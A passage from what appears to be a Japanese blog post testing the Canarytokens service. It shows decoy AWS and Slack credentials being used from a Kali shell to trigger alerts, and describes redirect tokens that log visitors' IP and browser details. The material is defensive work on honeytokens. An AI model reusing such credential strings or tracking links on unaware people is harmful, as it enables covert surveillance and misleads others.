aws_secret_access_key = 7K1NoZba2HKQGTocTGa/fJXjPi4tMf4SJAH4Auqs
output = json
region = us-east-2

AWS CLIで使用してみる。

root@kali:~# aws configure --profile canary
AWS Access Key ID [None]: AKIAXYZDQCENVA3R6Y7J
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-2
Default output format [None]: json

root@kali:~# aws s3 ls --profile canary

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

20分程度待つと以下の情報が記録された。 f:id:graneed:20210225015750p:plain

Fast Redirect

Web bug / URL tokenと似ているが、URLを生成する際にリダイレクト先のURLの指定ができる。
生成されたURLへアクセスすると、指定したURLにリダイレクトされる。
記録される情報は接続元IPアドレスとUserAgent。

Slow Redirect

Fast Redirectと同様に、URLを生成する際にリダイレクト先のURLの指定ができる。
記録される情報はWeb bug / URL tokenと同じで、接続元IPアドレスとUserAgentに加え、ブラウザ情報なども含まれる。

Slack API key

実行すると以下のSlackのAPIキーが生成される。

# Slack API key
slack_api_key = xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae

curlコマンドでAPIを実行してみる。

root@kali:~# curl 'https://slack.com/api/auth.test' \
> -d 'token=xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae'
{"ok":true,"url":"https:\/\/ctorgworkspace.slack.com\/","team":"ct.org","user":"marge.haskell.bridge","team_id":"TSMCXP5FH","user_id":"USMD5JM0F","is_enterprise_install":false}

10分程度待つと以下の情報が記録された。 f:id:graneed:20210225020148p:plain

まとめ

カナリアトークンの使い道としては、生成したURL等を何らかの媒体でばら撒いてハニーポットとして使うほか、機密ファイルの漏洩有無の確認、Webサイトのクローン先のサイトの検出など、多岐にわたる。こちらのサービスと方式のパターンを知っておくと、どこかで役に立ちそうである。実際に何か目的があって使う場合は、自分で環境を立てる方がよさそうだ。